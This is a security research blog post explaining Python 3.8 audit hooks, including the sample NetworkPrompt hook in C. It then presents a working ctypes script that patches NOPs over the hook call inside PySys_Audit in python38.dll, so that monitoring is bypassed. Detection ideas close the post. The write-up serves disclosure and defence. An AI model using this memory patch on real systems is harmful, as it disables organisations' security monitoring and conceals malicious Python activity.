Bypassing Python3.8 Audit Hooks [Part 1]

First of all, if you think you’re being cool and edgy by still using Python2.7, I’m gonna need you to unthink that ASAP. Python2.7 is reaching end-of-life very soon and we should all be moving on up…to the 3 side…and finally get async with that Py.

That joke might go over a lot of heads.

Anyway, this post is likely to be the first in a multi-part series of talking about a new feature that is coming in Python 3.8 called audit hooks. This first entry will discuss what audit hooking is and how to bypass it as an attacker on a Windows system. Future entries may include other operating systems and/or different methods of approach to accomplishing the same goal.

This testing was performed on Windows 10 version 1809 using 32-bit Python 3.8.0b2.


What is audit hooking?

In Python 3.8, which is scheduled to be released October 2019, a new security feature is being implemented called “audit hooks”. According to PEP 578 and PEP 551, the purpose of audit hooking is to allow transparency into Python’s runtime so that events can be monitored and logged just like any other process. I highly recommend reading through both PEPs before continuing with this blog post, but the general idea is that adding Python to environments can increase an attack surface for malicious behavior and there is not much organizations can do to have insight when a Python script is run. If you were to monitor a Python script process, you’d typically just see command line arguments and not much else.

PEP 551 outlines measures that organizations can take in order to help secure Python in production environments, and even touches on the concept of changing the entry point for a Python executable (which will be addressed as spython from here on). Changing the entry point allows for defenders to add additional security measures suitable to their environment for monitoring and logging. PEP 587 is an instance of this security concept, as it demonstrates that you can add a variety of actions from logging to full on prevention of arbitrary actions.

Steve Dower (@zooba), a core developer, has given talks on implementation of spython and highlights many of the benefits of the proposal. He heavily stresses that the purpose of audit hooking isn’t prevention, but it is to allow an organization to know what is happening on their systems.


Okay but SHOW me audit hooking!

Steve shows an applied concept in the video but for this bypass, we’re going to use a different kind of hook from his Github. Let’s take a look at the NetworkPrompt example:

>>> from urllib.request import urlopen
>>> urlopen("http://example.com").read()
WARNING: Attempt to resolve example.com:80. Continue [Y/n]
y
WARNING: Attempt to connect 93.184.216.34:80. Continue [Y/n]
y
b'<!doctype html>\n<html>\n<head>\n    ...

If you watched the video or read the PEPs, you’d have noticed that there are two proposed ways of accomplishing the hooks. One is the easier way, which is just a set of functions inside of your python application that are added as hooks using sys.addaudithook(). However, these hooks will only be in the context of the running application. The second way is more complex, as it involves what is essentially distributed a modified version of the Python executable by changing the entry point. The bypasses that are shown in this series will be in the context of the latter (the spython method).

In this example, we can see that the NetworkPrompt example intercepts socket events and prompts the user to confirm before they continue. The code that performs this security check is written in native C:

#include "Python.h"
#include "opcode.h"
#include <locale.h>
#include <string.h>

static int
network_prompt_hook(const char *event, PyObject *args, void *userData)
{
    /* Only care about 'socket.' events */
    if (strncmp(event, "socket.", 7) != 0) {
        return 0;
    }

    PyObject *msg = NULL;

    /* So yeah, I'm very lazily using PyTuple_GET_ITEM here.
       Not best practice! PyArg_ParseTuple is much better! */
    if (strcmp(event, "socket.getaddrinfo") == 0) {
        msg = PyUnicode_FromFormat("WARNING: Attempt to resolve %S:%S",
            PyTuple_GET_ITEM(args, 0), PyTuple_GET_ITEM(args, 1));
    } else if (strcmp(event, "socket.connect") == 0) {
        PyObject *addro = PyTuple_GET_ITEM(args, 1);
        msg = PyUnicode_FromFormat("WARNING: Attempt to connect %S:%S",
            PyTuple_GET_ITEM(addro, 0), PyTuple_GET_ITEM(addro, 1));
    } else {
        msg = PyUnicode_FromFormat("WARNING: %s (event not handled)", event);
    }

    if (!msg) {
        return -1;
    }

    fprintf(stderr, "%s. Continue [Y/n]\n", PyUnicode_AsUTF8(msg));
    Py_DECREF(msg);
    int ch = fgetc(stdin);
    if (ch == 'n' || ch == 'N') {
        exit(1);
    }
    
    while (ch != '\n') {
        ch = fgetc(stdin);
    }

    return 0;
}


#ifdef MS_WINDOWS
int
wmain(int argc, wchar_t **argv)
{
    PySys_AddAuditHook(network_prompt_hook, NULL);
    return Py_Main(argc, argv);
}
#else
int
main(int argc, char **argv)
{
    PySys_AddAuditHook(network_prompt_hook, NULL);
    return _Py_UnixMain(argc, argv);
}
#endif

The wmain and main functions explicitly show that the hooks are added before the main entry point of Python is reached.


How Auditing occurs

The concept of the sys.audit call acts very similar to how AMSI works for Powershell. When an action of interest is executed, Python determines whether or not the action matches an audit rule and acts accordingly. There’s a variety of hooks still being built into Python 3.8, but some of the current ones include imports, sockets, and file accesses. With a debugger, we can find the location of PySys_Audit and see this in action when an import occurs:

The important thing to take away from these pictures is that the hooking function is provided by python38.dll, which means that just like AMSI checks for Powershell, there is likely a function that determines if auditing needs to occur. As it is happens, there is a list of hook functions and data that is maintained and appended to by PySys_AddAuditHook, according the Python sys module source code.

_Py_AuditHookEntry *e = _PyRuntime.audit_hook_head;
if (!e) {
    e = (_Py_AuditHookEntry*)PyMem_RawMalloc(sizeof(_Py_AuditHookEntry));
    _PyRuntime.audit_hook_head = e;
} else {
    while (e->next) {
        e = e->next;
    }
    e = e->next = (_Py_AuditHookEntry*)PyMem_RawMalloc(
        sizeof(_Py_AuditHookEntry));
}

Bypassing the hook function

It might be possible to find the list in memory and overwrite the head with nothing, but I was able to determine an even easier way to bypass hooking. At some point, when an action occurs that triggers a hook, the function associated it with needs to be called. It appears that each hook function is called in succession with the event that triggered as a parameter to determine the necessity of auditing (part 2 of this series will discuss if this is true or not since only one hook is loaded in this spython example).

EAX contains the hook address but it would be pretty dope if that call eax never occurs, wouldn’t it? So let’s patch those bytes in memory!

The method is on par with AMSI bypasses:

from urllib.request import urlopen
from ctypes import *

def bypass():
    #Rename some kernel32 functions
    GetProcAddress = windll.kernel32.GetProcAddress
    MoveMemory = windll.kernel32.RtlMoveMemory
    VirtualProtect = windll.kernel32.VirtualProtect

    #Load the Python3.8 DLL and get the address of PySys Audit
    print ("[+] Getting handle...")
    pyDLL = windll.LoadLibrary("python38.dll")._handle
    print ("[+] Getting function address...")
    if (auditAddr := GetProcAddress(pyDLL, b'PySys_Audit')):
        print ("[+] Got Audit Address -- ", hex(auditAddr))
        pass

    #Calculate the offset where "call eax" occurs and change memory permissions
    print ("[+] Changing memory protect to read/write/execute...")
    old = c_ulong(1)
    if vpcheck := VirtualProtect(auditAddr + 0x11B, c_int(4), 0x40, byref(old)):
        print ("[+] Successfully changed memory protection!")
        pass

    # Say "NOPE" with some NOPs and patch memory!
    patch = bytes([0x90, 0x90])
    memmove(auditAddr + 0x11B, patch, 2)
    print ("[+] Audit hook bypassed")

bypass()
print("HTTP Status Code: ", urlopen("http://example.com").getcode())

In this method, we create a function called bypass. We’ll need to import ctypes (more on this in a bit) so that we can easily access the winapi functions. We load the python38 DLL into memory, find the region where the hook function is called and then replace it with some arbitrary NOPs so that the hook function is never called! This is much cleaner than trying to remove the hooks altogether.

Output with no bypass:

Output with bypass:

Quick side note: You may have noticed the use of the walrus := operator. This is new to Python 3.8 and allows you to declare a variable if the condition returns any type of True value without having to check it afterwards. Convenient!

Detecting an Audit Hook Bypass

Since Python 3.8 is still in beta, it’s difficult to state how detection will work in the future. In fact, this approach may not even be valid at release (which is about 3 months away from the time of blog post). However, Steve Dower has emphasized that this feature is not about preventing attacks, but is for detection. This particular vector could be prevented with audit hooks that deny importing ctypes but that is certainly going to do more harm than good.

This may require an approach where you look for the absence of evidence in a chain of detection techniques. For example, if you implement hooks for Windows logging, you may see an entry for importing ctypes followed by absolutely no other indicators from other hooks you might normally see. While this isn’t the greatest method, that abnormality should be enough to warrant attention.

Additionally, Steve Dower and the Python fam are already aware of these possibilities so it may only require some time to think of a new implementation:

Conclusion

PowerShell has had its improvements so it is certainly time for Python to step up their game. However, you shouldn’t rely strictly on audit hooks to secure your Python environments but they will certain help to make Python less of an attack vector.

Thanks

Shout out to @TheRealWover, @realytcracker and @dnoiz1 for discussions and helping figure some things out. Shout out to failure for letting me patch the wrong page in memory for hours until I realized I was a dummy.